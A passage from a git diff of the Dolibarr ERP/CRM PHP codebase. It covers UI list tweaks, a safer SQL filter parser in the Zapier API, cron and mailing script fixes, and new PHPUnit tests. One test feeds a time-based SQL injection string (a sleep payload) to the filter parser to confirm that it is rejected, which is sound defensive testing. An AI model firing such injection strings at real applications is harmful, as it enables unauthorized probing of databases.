$totalaray['nbfield']++; +} print ''."\n"; @@ -613,7 +629,7 @@ while ($i < $imaxinloop) { if ($mode == 'kanban') { if ($i == 0) { print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { @@ -717,17 +748,19 @@ while ($i < $imaxinloop) { $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column - print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; } print ''."\n"; diff --git a/htdocs/workstation/workstation_note.php b/htdocs/workstation/workstation_note.php index d5eb05737f0..e3e98e17d85 100644 --- a/htdocs/workstation/workstation_note.php +++ b/htdocs/workstation/workstation_note.php @@ -30,7 +30,7 @@ require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstation.class.php'; require_once DOL_DOCUMENT_ROOT.'/workstation/lib/workstation_workstation.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('workstation', 'companies')); +$langs->loadLangs(array('mrp', 'companies')); // Get parameters $id = GETPOST('id', 'int'); diff --git a/htdocs/zapier/admin/setup.php b/htdocs/zapier/admin/setup.php index 6737d23354f..6fe6365d1b9 100644 --- a/htdocs/zapier/admin/setup.php +++ b/htdocs/zapier/admin/setup.php @@ -54,10 +54,7 @@ if (empty($user->admin)) accessforbidden(); * Actions */ -if ((float) DOL_VERSION >= 6) { - include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; -} - +include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; /* * View diff --git a/htdocs/zapier/class/api_zapier.class.php b/htdocs/zapier/class/api_zapier.class.php index 56ab923435d..c98f3bab6c7 100644 --- a/htdocs/zapier/class/api_zapier.class.php +++ b/htdocs/zapier/class/api_zapier.class.php @@ -66,8 +66,8 @@ class Zapier extends DolibarrApi * * Return an array with hook informations * - * @param int $id ID of hook - * @return array|mixed data without useless information + * @param int $id ID of hook + * @return Object Object with cleaned properties * * @url GET /hooks/{id} * @throws RestException @@ -198,11 +198,10 @@ class Zapier extends DolibarrApi } if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -240,7 +239,7 @@ class Zapier extends DolibarrApi * Create hook object * * @param array $request_data Request datas - * @return int ID of hook + * @return array ID of hook * * @url POST /hook/ */ diff --git a/qodana.yaml b/qodana.yaml new file mode 100644 index 00000000000..44da591f9de --- /dev/null +++ b/qodana.yaml @@ -0,0 +1,85 @@ +version: "1.0" +linter: jetbrains/qodana-php:2022.3-eap +failThreshold: 20000 +profile: + name: qodana.recommended +exclude: + - name: All + paths: + - dev + - build + - doc + - documents + - node_modules + - test + - htdocs/custom + - htdocs/includes + - htdocs/install/doctemplates + - htdocs/modulebuilder/template/test/functionnal + - name: PhpIssetCanBeReplacedWithCoalesceInspection + - name: PhpRedundantOptionalArgumentInspection + - name: PhpLanguageLevelInspection + - name: PhpIncludeInspection + - name: HtmlWrongAttributeValue + - name: PhpUndefinedClassConstantInspection + - name: RegExpRedundantEscape + - name: PhpUnnecessaryLocalVariableInspection + - name: PhpUnusedParameterInspection + - name: PhpUnusedLocalVariableInspection + - name: PhpTernaryExpressionCanBeReplacedWithConditionInspection + - name: PhpSwitchStatementWitSingleBranchInspection + - name: PhpLoopCanBeReplacedWithImplodeInspection + - name: PhpArrayAccessCanBeReplacedWithForeachValueInspection + - name: PhpArrayPushWithOneElementInspection + - name: PhpCastIsUnnecessaryInspection + - name: PhpDeprecationInspection + - name: PhpStatementHasEmptyBodyInspection + - name: PhpConditionAlreadyCheckedInspection + - name: PhpExpressionResultUnusedInspection + - name: PhpUndefinedClassInspection + - name: RegExpSimplifiable + - name: PhpConcatenationWithEmptyStringCanBeInlinedInspection + - name: PhpConditionCanBeReplacedWithMinMaxCallInspection + - name: PhpArrayIsAlwaysEmptyInspection + - name: PhpParameterByRefIsNotUsedAsReferenceInspection + - name: PhpWrongStringConcatenationInspection + - name: PhpUnusedAliasInspection + - name: PhpUnusedPrivateMethodInspection + - name: PhpUnusedPrivateFieldInspection + - name: PhpExpressionAlwaysNullInspection + - name: PhpIfWithCommonPartsInspection + - name: PhpTernaryExpressionCanBeReducedToShortVersionInspection + - name: PhpExpressionWithSameOperandsInspection + - name: PhpInArrayCanBeReplacedWithComparisonInspection + - name: PhpUnusedAliasInspection + - name: PhpPossiblePolymorphicInvocationInspection + - name: PhpReturnValueOfMethodIsNeverUsedInspection + - name: PhpPregReplaceWithEmptyReplacementInspection + - name: PhpFieldImmediatelyRewrittenInspection + - name: PhpIllegalStringOffsetInspection + - name: PhpWrongForeachArgumentTypeInspection + - name: PhpRegExpRedundantModifierInspection + - name: PhpClassConstantAccessedViaChildClassInspection + - name: RegExpUnnecessaryNonCapturingGroup + - name: PhpPregMatchReplaceWithComparisonInspection + - name: PhpArrayWriteIsNotUsedInspection + - name: PhpUndefinedNamespaceInspection + - name: PhpArraySearchInBooleanContextInspection + - name: PhpLoopCanBeReplacedWithStrRepeatInspection + - name: PhpPropertyOnlyWrittenInspection + - name: PhpCoveredCharacterInClassInspection + - name: PhpSameParameterValueInspection + - name: PhpSillyAssignmentInspection + - name: PhpConditionCheckedByNextConditionInspection + - name: RegExpSingleCharAlternation + - name: PhpSuspiciousNameCombinationInspection + - name: PhpObjectFieldsAreOnlyWrittenInspection + - name: PhpMissingParentConstructorInspection + - name: PhpWriteAccessToReferencedArrayValueWithoutUnsetInspection + - name: PhpArrayUsedOnlyForWriteInspection + - name: PhpArrayIndexImmediatelyRewrittenInspection + - name: PhpParameterNameChangedDuringInheritanceInspection + - name: PhpDuplicateSwitchCaseBodyInspection + - name: PhpNestedDirNameCallsCanBeReplacedWithLevelParameterInspection + - name: PhpPointlessBooleanExpressionInConditionInspection + - name: PhpUndefinedMethodInspection \ No newline at end of file diff --git a/scripts/cron/cron_run_jobs.php b/scripts/cron/cron_run_jobs.php index 630ae8c9948..29c8025758c 100755 --- a/scripts/cron/cron_run_jobs.php +++ b/scripts/cron/cron_run_jobs.php @@ -92,7 +92,7 @@ $hookmanager->initHooks(array('cli')); $now = dol_now(); @set_time_limit(0); -print "***** ".$script_file." (".$version.") pid=".dol_getmypid()." - userlogin=".$userlogin." - ".dol_print_date($now, 'dayhourrfc')." *****\n"; +print "***** ".$script_file." (".$version.") pid=".dol_getmypid()." - userlogin=".$userlogin." - ".dol_print_date($now, 'dayhourrfc')." - ".gethostname()." *****\n"; // Check module cron is activated if (empty($conf->cron->enabled)) { @@ -189,25 +189,17 @@ if ($result < 0) { exit(-1); } -$qualifiedjobs = array(); -foreach ($object->lines as $val) { - if (!verifCond($val->test)) { - continue; - } - $qualifiedjobs[] = $val; -} - // TODO Duplicate code. This sequence of code must be shared with code into public/cron/cron_run_jobs.php php page. -$nbofjobs = count($qualifiedjobs); +$nbofjobs = count($object->lines); $nbofjobslaunchedok = 0; $nbofjobslaunchedko = 0; -if (is_array($qualifiedjobs) && (count($qualifiedjobs) > 0)) { +if (is_array($object->lines) && (count($object->lines) > 0)) { $savconf = dol_clone($conf); // Loop over job - foreach ($qualifiedjobs as $line) { + foreach ($object->lines as $line) { dol_syslog("cron_run_jobs.php cronjobid: ".$line->id." priority=".$line->priority." entity=".$line->entity." label=".$line->label, LOG_DEBUG); echo "cron_run_jobs.php cronjobid: ".$line->id." priority=".$line->priority." entity=".$line->entity." label=".$line->label; @@ -249,6 +241,10 @@ if (is_array($qualifiedjobs) && (count($qualifiedjobs) > 0)) { } } + if (!verifCond($line->test)) { + continue; + } + //If date_next_jobs is less of current date, execute the program, and store the execution time of the next execution in database if ($forcequalified || (($line->datenextrun < $now) && (empty($line->datestart) || $line->datestart <= $now) && (empty($line->dateend) || $line->dateend >= $now))) { echo " - qualified"; diff --git a/scripts/emailings/mailing-send.php b/scripts/emailings/mailing-send.php index 78e4488ec46..464a127ce15 100755 --- a/scripts/emailings/mailing-send.php +++ b/scripts/emailings/mailing-send.php @@ -71,6 +71,13 @@ if (empty($conf->global->MAILING_LIMIT_SENDBYCLI)) { $conf->global->MAILING_LIMIT_SENDBYCLI = 0; } +$langs->loadLangs(array("main", "mails")); + +if (!isModEnabled('mailing')) { + print 'Module Emailing not enabled'; + exit(-1); +} + /* * Main @@ -80,7 +87,7 @@ if (empty($conf->global->MAILING_LIMIT_SENDBYCLI)) { print "***** ".$script_file." (".$version.") pid=".dol_getmypid()." *****\n"; if (!empty($conf->global->MAILING_DELAY)) { - print 'A delay of '.((float) $conf->global->MAILING_DELAY * 1000000).' millisecond has been set between each email'."\n"; + print 'A delay of '.((float) $conf->global->MAILING_DELAY).' seconds has been set between each email'."\n"; } if ($conf->global->MAILING_LIMIT_SENDBYCLI == '-1') { @@ -222,9 +229,9 @@ if ($resql) { $substitutionarray['__OTHER5__'] = $other5; $substitutionarray['__USER_SIGNATURE__'] = $signature; // Signature is empty when ran from command line or taken from user in parameter) $substitutionarray['__SIGNATURE__'] = $signature; // For backward compatibility - $substitutionarray['__CHECK_READ__'] = ''; - $substitutionarray['__UNSUBSCRIBE__'] = ''.$langs->trans("MailUnsubcribe").''; - $substitutionarray['__UNSUBSCRIBE_URL__'] = DOL_MAIN_URL_ROOT.'/public/emailing/mailing-unsubscribe.php?tag='.urlencode($obj->tag).'&unsuscrib=1&securitykey='.urlencode($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY).'&email='.urlencode($obj->email).'&mtid='.$obj->rowid; + $substitutionarray['__CHECK_READ__'] = 'tag."-".$obj->email."-".$obj->rowid, "md5").'&email='.urlencode($obj->email).'&mtid='.((int) $obj->rowid).'" width="1" height="1" style="width:1px;height:1px" border="0"/>'; + $substitutionarray['__UNSUBSCRIBE__'] = 'tag."-".$obj->email."-".$obj->rowid, "md5").'&email='.urlencode($obj->email).'&mtid='.((int) $obj->rowid).'" target="_blank">'.$langs->trans("MailUnsubcribe").''; + $substitutionarray['__UNSUBSCRIBE_URL__'] = DOL_MAIN_URL_ROOT.'/public/emailing/mailing-unsubscribe.php?tag='.urlencode($obj->tag).'&unsuscrib=1&securitykey='.dol_hash($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY."-".$obj->tag."-".$obj->email."-".$obj->rowid, "md5").'&email='.urlencode($obj->email).'&mtid='.((int) $obj->rowid); $onlinepaymentenabled = 0; if (!empty($conf->paypal->enabled)) { diff --git a/scripts/emailings/reset-invalid-emails.php b/scripts/emailings/reset-invalid-emails.php index 0e7fdb4e6bf..ca383143c3a 100755 --- a/scripts/emailings/reset-invalid-emails.php +++ b/scripts/emailings/reset-invalid-emails.php @@ -57,6 +57,11 @@ require_once DOL_DOCUMENT_ROOT."/comm/mailing/class/mailing.class.php"; $version = DOL_VERSION; $error = 0; +if (!isModEnabled('mailing')) { + print 'Module Emailing not enabled'; + exit(-1); +} + /* * Main diff --git a/scripts/members/sync_members_types_ldap2dolibarr.php b/scripts/members/sync_members_types_ldap2dolibarr.php index 12a83633725..58eefbad69a 100755 --- a/scripts/members/sync_members_types_ldap2dolibarr.php +++ b/scripts/members/sync_members_types_ldap2dolibarr.php @@ -21,9 +21,9 @@ */ /** - * \file scripts/members/sync_members_types_ldap2dolibarr.php + * \file scripts/members/sync_members_types_ldap2dolibarr.php * \ingroup ldap member - * \brief Script to update members types into Dolibarr from LDAP + * \brief Script to update members types into Dolibarr from LDAP */ if (!defined('NOSESSION')) { @@ -139,7 +139,7 @@ if ($result >= 0) { // Warning $ldapuser has a key in lowercase foreach ($ldaprecords as $key => $ldapgroup) { $membertype = new AdherentType($db); - $membertype->fetch('', $ldapgroup[$conf->global->LDAP_KEY_MEMBERS_TYPES]); + $membertype->fetch($ldapgroup[$conf->global->LDAP_KEY_MEMBERS_TYPES]); $membertype->label = $ldapgroup[$conf->global->LDAP_MEMBER_TYPE_FIELD_FULLNAME]; $membertype->description = $ldapgroup[$conf->global->LDAP_MEMBER_TYPE_FIELD_DESCRIPTION]; $membertype->entity = $conf->entity; diff --git a/scripts/user/sync_groups_ldap2dolibarr.php b/scripts/user/sync_groups_ldap2dolibarr.php index 67c14a4ee5d..2fe89b92ccb 100755 --- a/scripts/user/sync_groups_ldap2dolibarr.php +++ b/scripts/user/sync_groups_ldap2dolibarr.php @@ -176,17 +176,17 @@ if ($result >= 0) { // 1 - Association des utilisateurs du groupe LDAP au groupe Dolibarr $userList = array(); $userIdList = array(); - foreach ($ldapgroup[$conf->global->LDAP_GROUP_FIELD_GROUPMEMBERS] as $key => $userdn) { - if ($key === 'count') { + foreach ($ldapgroup[getDolGlobalString('LDAP_GROUP_FIELD_GROUPMEMBERS')] as $tmpkey => $userdn) { + if ($tmpkey === 'count') { continue; } if (empty($userList[$userdn])) { // Récupération de l'utilisateur // Schéma rfc2307: les membres sont listés dans l'attribut memberUid sous form de login uniquement - if ($conf->global->LDAP_GROUP_FIELD_GROUPMEMBERS === 'memberUid') { + if (getDolGlobalString('LDAP_GROUP_FIELD_GROUPMEMBERS') === 'memberUid') { $userKey = array($userdn); } else { // Pour les autres schémas, les membres sont listés sous forme de DN complets $userFilter = explode(',', $userdn); - $userKey = $ldap->getAttributeValues('('.$userFilter[0].')', $conf->global->LDAP_KEY_USERS); + $userKey = $ldap->getAttributeValues('('.$userFilter[0].')', getDolGlobalString('LDAP_KEY_USERS')); } if (!is_array($userKey)) { continue; @@ -194,9 +194,9 @@ if ($result >= 0) { $fuser = new User($db); - if ($conf->global->LDAP_KEY_USERS == $conf->global->LDAP_FIELD_SID) { + if (getDolGlobalString('LDAP_KEY_USERS') == getDolGlobalString('LDAP_FIELD_SID')) { $fuser->fetch('', '', $userKey[0]); // Chargement du user concerné par le SID - } elseif ($conf->global->LDAP_KEY_USERS == $conf->global->LDAP_FIELD_LOGIN) { + } elseif (getDolGlobalString('LDAP_KEY_USERS') == getDolGlobalString('LDAP_FIELD_LOGIN')) { $fuser->fetch('', $userKey[0]); // Chargement du user concerné par le login } diff --git a/test/phpunit/AdminLibTest.php b/test/phpunit/AdminLibTest.php index 6649aa19798..4df1a6933e1 100644 --- a/test/phpunit/AdminLibTest.php +++ b/test/phpunit/AdminLibTest.php @@ -46,6 +46,7 @@ $conf->global->MAIN_DISABLE_ALL_MAILS=1; */ class AdminLibTest extends PHPUnit\Framework\TestCase { + protected $backupGlobalsBlacklist = array('conf', 'user', 'langs', 'db'); protected $savconf; protected $savuser; protected $savlangs; @@ -69,6 +70,7 @@ class AdminLibTest extends PHPUnit\Framework\TestCase $this->savdb=$db; print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; print "\n"; } diff --git a/test/phpunit/AllTests.php b/test/phpunit/AllTests.php index 12223b17d1c..ba4d743f603 100644 --- a/test/phpunit/AllTests.php +++ b/test/phpunit/AllTests.php @@ -41,7 +41,7 @@ if (empty($conf->adherent->enabled)) { print "Error: Module member must be enabled to have significant results.\n"; exit(1); } -if (!empty($conf->ldap->enabled)) { +if (isModEnabled('ldap')) { print "Error: LDAP module should not be enabled.\n"; exit(1); } @@ -104,12 +104,16 @@ class AllTests $suite->addTestSuite('XCalLibTest'); // Rules into source files content + require_once dirname(__FILE__).'/RepositoryTest.php'; + $suite->addTestSuite('RepositoryTest'); require_once dirname(__FILE__).'/LangTest.php'; $suite->addTestSuite('LangTest'); require_once dirname(__FILE__).'/CodingSqlTest.php'; $suite->addTestSuite('CodingSqlTest'); require_once dirname(__FILE__).'/CodingPhpTest.php'; $suite->addTestSuite('CodingPhpTest'); + require_once dirname(__FILE__).'/DoliDBTest.php'; + $suite->addTestSuite('DoliDBTest'); require_once dirname(__FILE__).'/SecurityTest.php'; $suite->addTestSuite('SecurityTest'); @@ -219,6 +223,7 @@ class AllTests require_once dirname(__FILE__).'/AccountingAccountTest.php'; $suite->addTestSuite('AccountingAccountTest'); + // Rest require_once dirname(__FILE__).'/RestAPIUserTest.php'; $suite->addTestSuite('RestAPIUserTest'); require_once dirname(__FILE__).'/RestAPIDocumentTest.php'; @@ -270,6 +275,10 @@ class AllTests require_once dirname(__FILE__).'/EmailCollectorTest.php'; $suite->addTestSuite('EmailCollectorTest'); + // Website + require_once dirname(__FILE__).'/WebsiteTest.php'; + $suite->addTestSuite('WebsiteTest'); + return $suite; } } diff --git a/test/phpunit/CodingPhpTest.php b/test/phpunit/CodingPhpTest.php index e0f36279437..f33aa1c1588 100644 --- a/test/phpunit/CodingPhpTest.php +++ b/test/phpunit/CodingPhpTest.php @@ -158,7 +158,7 @@ class CodingPhpTest extends PHPUnit\Framework\TestCase } /** - * testSql + * testPHP * * @return string */ @@ -171,8 +171,7 @@ class CodingPhpTest extends PHPUnit\Framework\TestCase $db=$this->savdb; include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; - $filesarray = dol_dir_list(DOL_DOCUMENT_ROOT, 'files', 1, '\.php', null, 'fullname', SORT_ASC, 0, 0, '', 1); - //$filesarray = dol_dir_list(DOL_DOCUMENT_ROOT, 'files', 1, '\.php', null, 'fullname'); + $filesarray = dol_dir_list(DOL_DOCUMENT_ROOT, 'files', 1, '\.php', null, 'fullname', SORT_ASC, 0, 1, '', 1); foreach ($filesarray as $key => $file) { if (preg_match('/\/htdocs\/includes\//', $file['fullname'])) { @@ -415,7 +414,7 @@ class CodingPhpTest extends PHPUnit\Framework\TestCase $matches=array(); preg_match_all('/(\$sql|SET\s|WHERE\s|INSERT\s|VALUES\s|VALUES\().+\s*\'\s*\.\s*\$(.........)/', $filecontent, $matches, PREG_SET_ORDER); foreach ($matches as $key => $val) { - if (! in_array($val[2], array('this->db-', 'db->prefi', 'db->sanit', 'conf->ent', 'key : \'\')', 'key])."\')', 'excludefi', 'regexstri', ''))) { + if (! in_array($val[2], array('this->db-', 'db->prefi', 'db->sanit', 'dbs->pref', 'dbs->sani', 'conf->ent', 'key : \'\')', 'key])."\')', 'excludefi', 'regexstri', ''))) { $ok=false; var_dump($matches); break; @@ -545,6 +544,16 @@ class CodingPhpTest extends PHPUnit\Framework\TestCase $this->assertTrue($ok, 'Found a preg_grep with a param that is a $var but without preg_quote in file '.$file['relativename'].'.'); + // Test we don't have "if ($resql >" + $ok=true; + $matches=array(); + preg_match_all('/if \(\$resql >/', $filecontent, $matches, PREG_SET_ORDER); + foreach ($matches as $key => $val) { + $ok=false; + break; + } + $this->assertTrue($ok, 'Found a if $resql with a > operator (when $resql is a boolean or resource) in file '.$file['relativename'].'. Please remove the > ... part.'); + // Test we don't have empty($user->hasRight $ok=true; $matches=array(); diff --git a/test/phpunit/DateLibTest.php b/test/phpunit/DateLibTest.php index 6f50e5b3085..eef029d26d1 100644 --- a/test/phpunit/DateLibTest.php +++ b/test/phpunit/DateLibTest.php @@ -344,7 +344,7 @@ class DateLibTest extends PHPUnit\Framework\TestCase $result=convertSecondToTime(86400, 'all', 86400); print __METHOD__." result=".$result."\n"; - $this->assertSame('1 '.strtolower(dol_substr($langs->trans("Day"), 0, 1).'.'), $result); + $this->assertSame('1 '.$langs->trans("d"), $result); return $result; } diff --git a/test/phpunit/DoliDBTest.php b/test/phpunit/DoliDBTest.php new file mode 100644 index 00000000000..f810deee98e --- /dev/null +++ b/test/phpunit/DoliDBTest.php @@ -0,0 +1,169 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * or see https://www.gnu.org/ + */ + +/** + * \file test/phpunit/DoliDBTest.php + * \ingroup test + * \brief PHPUnit test + * \remarks To run this script as CLI: phpunit filename.php + */ + +global $conf,$user,$langs,$db; +//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver +//require_once 'PHPUnit/Autoload.php'; +require_once dirname(__FILE__).'/../../htdocs/master.inc.php'; +require_once dirname(__FILE__).'/../../htdocs/core/class/discount.class.php'; + +if (empty($user->id)) { + print "Load permissions for admin user nb 1\n"; + $user->fetch(1); + $user->getrights(); +} +$conf->global->MAIN_DISABLE_ALL_MAILS=1; + + +/** + * Class for PHPUnit tests + * + * @backupGlobals disabled + * @backupStaticAttributes enabled + * @remarks backupGlobals must be disabled to have db,conf,user and lang not erased. + */ +class DoliDBTest extends PHPUnit\Framework\TestCase +{ + protected $savconf; + protected $savuser; + protected $savlangs; + protected $savdb; + + /** + * Constructor + * We save global variables into local variables + * + * @return DiscountTest + */ + public function __construct() + { + parent::__construct(); + + //$this->sharedFixture + global $conf,$user,$langs,$db; + $this->savconf=$conf; + $this->savuser=$user; + $this->savlangs=$langs; + $this->savdb=$db; + + print __METHOD__." db->type=".$db->type." user->id=".$user->id; + //print " - db ".$db->db; + print "\n"; + } + + /** + * setUpBeforeClass + * + * @return void + */ + public static function setUpBeforeClass(): void + { + global $conf,$user,$langs,$db; + $db->begin(); // This is to have all actions inside a transaction even if test launched without suite. + + print __METHOD__."\n"; + } + + /** + * tearDownAfterClass + * + * @return void + */ + public static function tearDownAfterClass(): void + { + global $conf,$user,$langs,$db; + $db->rollback(); + + print __METHOD__."\n"; + } + + /** + * Init phpunit tests + * + * @return void + */ + protected function setUp(): void + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + print __METHOD__."\n"; + //print $db->getVersion()."\n"; + } + /** + * End phpunit tests + * + * @return void + */ + protected function tearDown(): void + { + print __METHOD__."\n"; + } + + /** + * testDDLUpdateField + * + * @return int + */ + public function testDDLUpdateField() + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + print __METHOD__.' db->type = '.$db->type."\n"; + + $savtype = ''; + $savnull = ''; + $resql = $db->DDLDescTable($db->prefix().'c_paper_format', 'code'); + while ($obj = $db->fetch_object($resql)) { + if ($obj->Field == 'code') { + $savtype = $obj->Type; + $savnull = $obj->Null; + } + } + + // Set new field + $field_desc = array('type'=>'varchar', 'value'=>'17', 'null'=>'NOT NULL'); + + $result = $db->DDLUpdateField($db->prefix().'c_paper_format', 'code', $field_desc); + $this->assertEquals(1, $result); + print __METHOD__." result=".$result."\n"; + + // TODO Use $savtype and $savnull instead of hard coded + $field_desc = array('type'=>'varchar', 'value'=>'16', 'null'=>'NOT NULL'); + + $result = $db->DDLUpdateField($db->prefix().'c_paper_format', 'code', $field_desc); + $this->assertEquals(1, $result); + print __METHOD__." result=".$result."\n"; + + return $result; + } +} diff --git a/test/phpunit/FilesLibTest.php b/test/phpunit/FilesLibTest.php index e702f7482ce..8ba2022c111 100644 --- a/test/phpunit/FilesLibTest.php +++ b/test/phpunit/FilesLibTest.php @@ -469,25 +469,6 @@ class FilesLibTest extends PHPUnit\Framework\TestCase $this->assertGreaterThanOrEqual(1, $result, "Pb with dol_compress_dir of ".$dirout." into ".$conf->admin->dir_temp.'/testdir.zip'); } - /** - * testDolDirList - * - * @return void - * - * @depends testDolCompressUnCompress - * The depends says test is run only if previous is ok - */ - public function testDolDirList() - { - global $conf,$user,$langs,$db; - - // Scan dir to guaruante we on't have library jquery twice (we accept exception of duplicte into ckeditor because all dir is removed for debian package, so there is no duplicate). - $founddirs=dol_dir_list(DOL_DOCUMENT_ROOT.'/includes/', 'files', 1, '^jquery\.js', array('ckeditor')); - print __METHOD__." count(founddirs)=".count($founddirs)."\n"; - $this->assertEquals(1, count($founddirs)); - } - - /** * testDolCheckSecureAccessDocument * diff --git a/test/phpunit/FunctionsLibTest.php b/test/phpunit/FunctionsLibTest.php index 12c8683bb8f..b7e3b4c7555 100644 --- a/test/phpunit/FunctionsLibTest.php +++ b/test/phpunit/FunctionsLibTest.php @@ -80,6 +80,7 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase protected $savuser; protected $savlangs; protected $savdb; + protected $savmysoc; /** * Constructor @@ -92,11 +93,12 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase parent::__construct(); //$this->sharedFixture - global $conf,$user,$langs,$db; + global $conf,$user,$langs,$db,$mysoc; $this->savconf=$conf; $this->savuser=$user; $this->savlangs=$langs; $this->savdb=$db; + $this->savmysoc=$mysoc; print __METHOD__." db->type=".$db->type." user->id=".$user->id; //print " - db ".$db->db; @@ -142,17 +144,18 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase } /** - * Init phpunit tests + * Init phpunit tests. Restore variables before each test. * * @return void */ protected function setUp(): void { - global $conf,$user,$langs,$db; + global $conf,$user,$langs,$db,$mysoc; $conf=$this->savconf; $user=$this->savuser; $langs=$this->savlangs; $db=$this->savdb; + $mysoc=$this->savmysoc; print __METHOD__."\n"; } @@ -167,6 +170,34 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase print __METHOD__."\n"; } + + /** + * testDolForgeCriteriaCallback + * + * @return boolean + */ + public function testDolForgeCriteriaCallback() + { + global $conf, $langs; + + // An attempt for SQL injection + $filter='if(now()=sysdate()%2Csleep(6)%2C0)'; + $sql = forgeSQLFromUniversalSearchCriteria($filter); + $this->assertEquals($sql, 'Filter syntax error'); + + // A real search string + $filter='(((statut:=:1) or (entity:in:__AAA__)) and (abc:<:2.0) and (abc:!=:1.23))'; + $sql = forgeSQLFromUniversalSearchCriteria($filter); + $this->assertEquals($sql, ' AND (((statut = 1 or entity IN (__AAA__)) and abc < 2 and abc <> 1.23))'); + + $filter="(t.ref:like:'SO-%') or (t.date_creation:<:'20160101') or (t.date_creation:<:'2016-01-01 12:30:00') or (t.nature:is:NULL)"; + $sql = forgeSQLFromUniversalSearchCriteria($filter); + $this->assertEquals($sql, " AND (t.ref LIKE 'SO-%' or t.date_creation < '20160101' or t.date_creation < 0 or t.nature IS NULL)"); + + return true; + } + + /** * testDolClone * @@ -442,6 +473,14 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase $this->assertEquals('ios', $tmp['browseros']); $this->assertEquals('tablet', $tmp['layout']); $this->assertEquals('iphone', $tmp['phone']); + + //Lynx + $user_agent = 'Lynx/2.8.8dev.3 libwww‑FM/2.14 SSL‑MM/1.4.1'; + $tmp=getBrowserInfo($user_agent); + $this->assertEquals('lynxlinks', $tmp['browsername']); + $this->assertEquals('2.8.8', $tmp['browserversion']); + $this->assertEquals('unknown', $tmp['browseros']); + $this->assertEquals('classic', $tmp['layout']); } @@ -549,6 +588,9 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase $input='This is a text with accent é'; $after=dol_textishtml($input); $this->assertTrue($after, 'Test with a é'); + $input='xxx'; + $after=dol_textishtml($input); + $this->assertTrue($after, 'Test with i tag and class;'); // False $input='xxx < br>'; @@ -1197,7 +1239,6 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase // We do same tests but with option SERVICE_ARE_ECOMMERCE_200238EC on. $conf->global->SERVICE_ARE_ECOMMERCE_200238EC = 1; - // Test RULE 1 (FR-US) $vat=get_default_tva($companyfr, $companyus, 0); $this->assertEquals(0, $vat, 'RULE 1 ECOMMERCE_200238EC'); @@ -1220,7 +1261,7 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase } /** - * testGetDefaultTva + * testGetDefaultLocalTax * * @return void */ @@ -1307,6 +1348,27 @@ class FunctionsLibTest extends PHPUnit\Framework\TestCase } + /** + * testGetLocalTaxByThird + * + * @return void + */ + public function testGetLocalTaxByThird() + { + global $mysoc; + + $mysoc->country_code = 'ES'; + + $result = get_localtax_by_third(1); + print __METHOD__." result=".$result."\n"; + $this->assertEquals('5.2', $result); + + $result = get_localtax_by_third(2); + print __METHOD__." result=".$result."\n"; + $this->assertEquals('-19:-15:-9', $result); + } + + /** * testDolExplodeIntoArray * diff --git a/test/phpunit/KnowledgeRecordTest.php b/test/phpunit/KnowledgeRecordTest.php index 8c3ed03e9b5..ffa189adc48 100644 --- a/test/phpunit/KnowledgeRecordTest.php +++ b/test/phpunit/KnowledgeRecordTest.php @@ -131,27 +131,6 @@ class KnowledgeRecordTest extends PHPUnit\Framework\TestCase } - /** - * A sample test - * - * @return bool - */ - public function testSomething() - { - global $conf, $user, $langs, $db; - $conf = $this->savconf; - $user = $this->savuser; - $langs = $this->savlangs; - $db = $this->savdb; - - $result = true; - - print __METHOD__." result=".$result."\n"; - $this->assertTrue($result); - - return $result; - } - /** * testKnowledgeRecordCreate * @@ -175,13 +154,63 @@ class KnowledgeRecordTest extends PHPUnit\Framework\TestCase return $result; } + /** + * testKnowledgeRecordFetch + * + * @param int $id Id order + * @return KnowledgeRecord + * + * @depends testKnowledgeRecordCreate + * The depends says test is run only if previous is ok + */ + public function testKnowledgeRecordFetch($id) + { + global $conf,$user,$langs,$db; + $conf=$this->savconf; + $user=$this->savuser; + $langs=$this->savlangs; + $db=$this->savdb; + + $localobject=new 